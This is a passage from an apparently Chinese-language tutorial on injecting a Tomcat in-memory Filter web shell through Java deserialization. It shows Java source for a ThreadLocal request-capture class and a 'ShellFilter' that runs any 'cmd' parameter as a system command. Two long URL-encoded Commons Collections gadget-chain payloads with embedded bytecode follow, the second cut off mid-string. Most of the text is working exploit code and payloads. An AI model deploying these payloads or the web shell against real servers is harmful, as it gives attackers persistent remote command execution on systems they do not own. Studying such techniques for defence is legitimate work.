                writer.write("Inject ThreadLocal Successfully!");
                writer.flush();
                writer.close();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

我们将这个恶意类发送过去之后,会初始化lastServicedRequestlastServicedResponse属性为ThreadLocal类,下面我们就可以通过该类获取request对象了。

注入Filter内存马

下面我们依靠上文获取到的request对象进行后续注入工作

package Tomcat_Echo_memShell;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterChain;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;

public class Tomcat_Echo_inject_Filter extends AbstractTranslet implements Filter {

    static {
        try {
            ServletContext servletContext = getServletContext();
            java.lang.reflect.Field appContextField = servletContext.getClass().getDeclaredField("context");
            appContextField.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
            java.lang.reflect.Field standardContextField = applicationContext.getClass().getDeclaredField("context");
            standardContextField.setAccessible(true);
            StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);


            Tomcat_Echo_inject_Filter filter = new Tomcat_Echo_inject_Filter();
            String name = "ShellFilter";
            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(filter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(filter.getClass().getName());
            standardContext.addFilterDef(filterDef);


            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern("/*");
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());
            standardContext.addFilterMapBefore(filterMap);


            java.lang.reflect.Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            java.util.Map filterConfigs = (java.util.Map) Configs.get(standardContext);

            java.lang.reflect.Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(org.apache.catalina.Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
            filterConfigs.put(name, filterConfig);

        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (InstantiationException e) {
            e.printStackTrace();
        }
    }


    public static ServletContext getServletContext() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        java.lang.reflect.Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
        lastServicedRequestField.setAccessible(true);
        ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);
        if(threadLocal!=null && threadLocal.get()!=null){
            ServletRequest servletRequest = (ServletRequest) threadLocal.get();
            return servletRequest.getServletContext();
        }
        return null;
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        response.setContentType("text/html; charset=UTF-8");
        PrintWriter writer = response.getWriter();
        if (cmd != null) {
            try {
                InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();

                //将命令执行结果写入扫描器并读取所有输入
                java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter("\\A");
                String result = scanner.hasNext()?scanner.next():"";
                scanner.close();
                writer.write(result);
                writer.flush();
                writer.close();
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
        chain.doFilter(request, response);
    }
}

示例

这里我们仍以上文的漏洞环境为例,首先我们将Tomcat_Echo_inject_ThreadLocal类发送过去,初始化属性。

rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzcgAxb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5UcmFuc2Zvcm1lZE1hcGF3P%2BBd8VpwAwACTAAOa2V5VHJhbnNmb3JtZXJ0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO0wAEHZhbHVlVHJhbnNmb3JtZXJxAH4ABXhwcHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAJzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAN2NvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRyQVhGaWx0ZXIAAAAAAAAAAAAAAHhwc3IAPm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnN0YW50aWF0ZVRyYW5zZm9ybWVyNIv0f6SG0DsCAAJbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAXNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzcQB%2BABNMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP%2F%2F%2F%2F91cgADW1tCS%2F0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAANlsr%2Bur4AAAA0AJcKACUAUAgAUQoAUgBTCABUCgBSAFUHAFYIAFcIAFgHAFkIAFoKAAkAWwoACQBcBwBdCgAJAF4KAAkAXwoACQBgCgAJAGEHAGIKABIAUAoACQBjCgASAGQHAGULABYAZgcAZwcAaAoAGQBQCABpCgAZAGoKAGsAbAoAGQBsCgBtAG4KAG0AbwoAbQBwBwBxCgAiAHIHAHMHAHQBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEANUxUb21jYXRfRWNob19tZW1TaGVsbC9Ub21jYXRfRWNob19pbmplY3RfVGhyZWFkTG9jYWw7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAHUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ%2BAQALdGhyZWFkTG9jYWwBABdMamF2YS9sYW5nL1RocmVhZExvY2FsOwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAZ3cml0ZXIBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAx0aHJlYWRMb2NhbDEBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAFldSQVBfU0FNRV9PQkpFQ1RfRklFTEQBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAYbGFzdFNlcnZpY2VkUmVxdWVzdEZpZWxkAQAZbGFzdFNlcnZpY2VkUmVzcG9uc2VGaWVsZAEADm1vZGlmaWVyc0ZpZWxkAQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAFkHAHEBAApTb3VyY2VGaWxlAQAjVG9tY2F0X0VjaG9faW5qZWN0X1RocmVhZExvY2FsLmphdmEMACYAJwEALm9yZy5hcGFjaGUuY2F0YWxpbmEuY29yZS5BcHBsaWNhdGlvbkRpc3BhdGNoZXIHAHYMAHcAeAEAEFdSQVBfU0FNRV9PQkpFQ1QMAHkAegEAL29yZy9hcGFjaGUvY2F0YWxpbmEvY29yZS9BcHBsaWNhdGlvbkZpbHRlckNoYWluAQATbGFzdFNlcnZpY2VkUmVxdWVzdAEAFGxhc3RTZXJ2aWNlZFJlc3BvbnNlAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBAAltb2RpZmllcnMMAHsAfAwAfQB%2BAQAaamF2YS9sYW5nL3JlZmxlY3QvTW9kaWZpZXIMAH8AgAwAgQCCDACDAIQMAIUAhgEAFWphdmEvbGFuZy9UaHJlYWRMb2NhbAwAhwCIDACFAIkBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQwAigCLAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAgSW5qZWN0IFRocmVhZExvY2FsIFN1Y2Nlc3NmdWxseSEMAIwAjQcAjgwAjwCQBwCRDACSAJMMAJQAJwwAlQAnAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAlgAnAQAzVG9tY2F0X0VjaG9fbWVtU2hlbGwvVG9tY2F0X0VjaG9faW5qZWN0X1RocmVhZExvY2FsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAD2phdmEvbGFuZy9DbGFzcwEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAMZ2V0TW9kaWZpZXJzAQADKClJAQAGc2V0SW50AQAWKExqYXZhL2xhbmcvT2JqZWN0O0kpVgEACmdldEJvb2xlYW4BABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAApzZXRCb29sZWFuAQAWKExqYXZhL2xhbmcvT2JqZWN0O1opVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQADc2V0AQAnKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylWAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAEGphdmEvbGFuZy9PYmplY3QBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9pby9QcmludFdyaXRlcgEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAFZmx1c2gBAAVjbG9zZQEAD3ByaW50U3RhY2tUcmFjZQAhACQAJQAAAAAABAABACYAJwABACgAAAAvAAEAAQAAAAUqtwABsQAAAAIAKQAAAAYAAQAAABAAKgAAAAwAAQAAAAUAKwAsAAAAAQAtAC4AAgAoAAAAPwAAAAMAAAABsQAAAAIAKQAAAAYAAQAAAEsAKgAAACAAAwAAAAEAKwAsAAAAAAABAC8AMAABAAAAAQAxADIAAgAzAAAABAABADQAAQAtADUAAgAoAAAASQAAAAQAAAABsQAAAAIAKQAAAAYAAQAAAFAAKgAAACoABAAAAAEAKwAsAAAAAAABAC8AMAABAAAAAQA2ADcAAgAAAAEAOAA5AAMAMwAAAAQAAQA0AAgAOgAnAAEAKAAAAjMABAAJAAABBhICuAADEgS2AAVLEgYSB7YABUwSBhIItgAFTRIJEgq2AAVOLQS2AAstKiq2AAwQ7362AA4tKyu2AAwQ7362AA4tLCy2AAwQ7362AA4qBLYACysEtgALLAS2AAsqAbYAD5oACSoBBLYAECsBtgARxwAPKwG7ABJZtwATtgAULAG2ABHHAA8sAbsAElm3ABO2ABQsAbYAEcYAZywBtgARwAASOgQZBLYAFcAAFjoFGQW5ABcBADoGKwG2ABHAABI6BxkHtgAVwAAYOggZCMYAMRkGuwAZWbcAGhIbtgAcGQi2AB22ABwZBbYAHbYAHLYAHrYAHxkGtgAgGQa2ACGnAAhLKrYAI7EAAQAAAP0BAAAiAAMAKQAAAH4AHwAAABYACwAXABMAGAAbABsAIwAcACgAHQA0AB4AQAAfAEwAIABRACEAVgAiAFsAJQBjACYAaQApAHEAKgB9AC0AhQAuAJEAMwCZADQAowA1AK0ANgC2ADcAwAA4AMoAOQDPADoA8wA7APgAPAD9AEIBAABAAQEAQQEFAEMAKgAAAGYACgCjAFoAOwA8AAQArQBQAD0APgAFALYARwA%2FAEAABgDAAD0AQQA8AAcAygAzAEIAQwAIAAsA8gBEAEUAAAATAOoARgBFAAEAGwDiAEcARQACACMA2gBIAEUAAwEBAAQASQBKAAAASwAAACMABv8AaQAEBwBMBwBMBwBMBwBMAAATE%2F8AawAAAABCBwBNBAABAE4AAAACAE9wdAADYWFhcHcBAHh1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAF2cgAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXMAAAAAAAAAAAAAAHhwc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA%2FQAAAAAAADHcIAAAAEAAAAAF0AAV2YWx1ZXEAfgAneHh2cgAbamF2YS5sYW5nLmFubm90YXRpb24uVGFyZ2V0AAAAAAAAAAAAAAB4cA%3D%3D

第一次请求时会报500,这是由于CC链本身的缘故。再一次发包,结果如下,说明此时我们能够从ThreadLocal对象中获取request了。

下面我们来注入Filter内存马

rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzcgAxb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5UcmFuc2Zvcm1lZE1hcGF3P%2BBd8VpwAwACTAAOa2V5VHJhbnNmb3JtZXJ0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO0wAEHZhbHVlVHJhbnNmb3JtZXJxAH4ABXhwcHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAJzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAN2NvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRyQVhGaWx0ZXIAAAAAAAAAAAAAAHhwc3IAPm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnN0YW50aWF0ZVRyYW5zZm9ybWVyNIv0f6SG0DsCAAJbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAXNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzcQB%2BABNMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP%2F%2F%2F%2F91cgADW1tCS%2F0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAAbH8r%2Bur4AAAA0AT8KAFEAtQcAtggAtwoAPgC4CgC5ALoKALkAuwcAvAoABwC9BwC%2BCwAJAL8IAIMLAAkAwAgAwQsAwgDDCwDCAMQKAMUAxgoAxQDHCgDIAMkHAMoKABMAywgAzAoAEwDNCgATAM4KABMAzwgA0AoAEwDRCgDSANMKANIA1AoA0gDRBwDVCgAeANYHANcKACAA1gsA2ADZCgAoAL8KAEIA2ggA2wcA3AcA3QcA3goAKAC1CADfBwDgCgArALUKACsA4QoAKwDiCgA%2BAOMKACsA5AoAJwDlBwDmCgAyALUIAOcKADIA6AoAMgDiCQDpAOoKAOkA6woAMgDsCgAnAO0IAKEHAO4HAO8HAPAHAPEKAD4A8goA8wC6BwD0CgDzAPULADwA9gcA9woARQDWBwD4CgBHANYHAPkKAEkA1gcA%2BgoASwDWBwD7CgBNANYHAPwKAE8A1gcA%2FQcA%2FgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAwTFRvbWNhdF9FY2hvX21lbVNoZWxsL1RvbWNhdF9FY2hvX2luamVjdF9GaWx0ZXI7AQARZ2V0U2VydmxldENvbnRleHQBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRDb250ZXh0OwEADnNlcnZsZXRSZXF1ZXN0AQAeTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAYbGFzdFNlcnZpY2VkUmVxdWVzdEZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAC3RocmVhZExvY2FsAQAXTGphdmEvbGFuZy9UaHJlYWRMb2NhbDsBAA1TdGFja01hcFRhYmxlBwD%2FBwC8AQAKRXhjZXB0aW9ucwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAQABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEAAmluAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAHc2Nhbm5lcgEAE0xqYXZhL3V0aWwvU2Nhbm5lcjsBAAZyZXN1bHQBABJMamF2YS9sYW5nL1N0cmluZzsBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQABbgEAIExqYXZhL2xhbmcvTnVsbFBvaW50ZXJFeGNlcHRpb247AQAHcmVxdWVzdAEACHJlc3BvbnNlAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEABWNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQADY21kAQAGd3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7BwDeBwC%2BBwEBBwECBwEDBwEEBwEFBwDKBwDVBwDXBwEGAQAIPGNsaW5pdD4BAA5zZXJ2bGV0Q29udGV4dAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRDb250ZXh0OwEAD2FwcENvbnRleHRGaWVsZAEAEmFwcGxpY2F0aW9uQ29udGV4dAEALUxvcmcvYXBhY2hlL2NhdGFsaW5hL2NvcmUvQXBwbGljYXRpb25Db250ZXh0OwEAFHN0YW5kYXJkQ29udGV4dEZpZWxkAQAPc3RhbmRhcmRDb250ZXh0AQAqTG9yZy9hcGFjaGUvY2F0YWxpbmEvY29yZS9TdGFuZGFyZENvbnRleHQ7AQAGZmlsdGVyAQAEbmFtZQEACWZpbHRlckRlZgEAMUxvcmcvYXBhY2hlL3RvbWNhdC91dGlsL2Rlc2NyaXB0b3Ivd2ViL0ZpbHRlckRlZjsBAAlmaWx0ZXJNYXABADFMb3JnL2FwYWNoZS90b21jYXQvdXRpbC9kZXNjcmlwdG9yL3dlYi9GaWx0ZXJNYXA7AQAHQ29uZmlncwEADWZpbHRlckNvbmZpZ3MBAA9MamF2YS91dGlsL01hcDsBAAtjb25zdHJ1Y3RvcgEAH0xqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjsBAAxmaWx0ZXJDb25maWcBADJMb3JnL2FwYWNoZS9jYXRhbGluYS9jb3JlL0FwcGxpY2F0aW9uRmlsdGVyQ29uZmlnOwEAIExqYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb247AQAiTGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAC1MamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbjsBACFMamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbjsBACJMamF2YS9sYW5nL0luc3RhbnRpYXRpb25FeGNlcHRpb247BwD3BwD4BwD5BwD6BwD7BwD8AQAKU291cmNlRmlsZQEAHlRvbWNhdF9FY2hvX2luamVjdF9GaWx0ZXIuamF2YQwAUwBUAQAvb3JnL2FwYWNoZS9jYXRhbGluYS9jb3JlL0FwcGxpY2F0aW9uRmlsdGVyQ2hhaW4BABNsYXN0U2VydmljZWRSZXF1ZXN0DAEHAQgHAP8MAQkBCgwBCwEMAQAVamF2YS9sYW5nL1RocmVhZExvY2FsDAELAQ0BABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0DABaAFsMAQ4BDwEAGHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOAcBAQwBEAERDAESARMHARQMARUBFgwBFwEYBwEZDAEaARsBABFqYXZhL3V0aWwvU2Nhbm5lcgwAUwEcAQACXEEMAR0BHgwBHwEgDAEhASIBAAAMASMAVAcBBAwBJAERDAElAFQBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAEmAFQBAB5qYXZhL2xhbmcvTnVsbFBvaW50ZXJFeGNlcHRpb24HAQIMAHIBJwwBKAEpAQAHY29udGV4dAEAK29yZy9hcGFjaGUvY2F0YWxpbmEvY29yZS9BcHBsaWNhdGlvbkNvbnRleHQBAChvcmcvYXBhY2hlL2NhdGFsaW5hL2NvcmUvU3RhbmRhcmRDb250ZXh0AQAuVG9tY2F0X0VjaG9fbWVtU2hlbGwvVG9tY2F0X0VjaG9faW5qZWN0X0ZpbHRlcgEAC1NoZWxsRmlsdGVyAQAvb3JnL2FwYWNoZS90b21jYXQvdXRpbC9kZXNjcmlwdG9yL3dlYi9GaWx0ZXJEZWYMASoBKwwBLAERDAEtASIMAS4BEQwBLwEwAQAvb3JnL2FwYWNoZS90b21jYXQvdXRpbC9kZXNjcmlwdG9yL3dlYi9GaWx0ZXJNYXABAAIvKgwBMQERBwEyDAEzATQMAJsBIgwBNQERDAE2ATcBAA1qYXZhL3V0aWwvTWFwAQAwb3JnL2FwYWNoZS9jYXRhbGluYS9jb3JlL0FwcGxpY2F0aW9uRmlsdGVyQ29uZmlnAQAPamF2YS9sYW5nL0NsYXNzAQAbb3JnL2FwYWNoZS9jYXRhbGluYS9Db250ZXh0DAE4ATkHAToBABBqYXZhL2xhbmcvT2JqZWN0DAE7ATwMAT0BPgEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BACtqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uAQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgEAIGphdmEvbGFuZy9JbnN0YW50aWF0aW9uRXhjZXB0aW9uAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmF4L3NlcnZsZXQvRmlsdGVyAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEAGWphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW4BABBqYXZhL2xhbmcvU3RyaW5nAQATamF2YS9pby9QcmludFdyaXRlcgEAE2phdmEvaW8vSW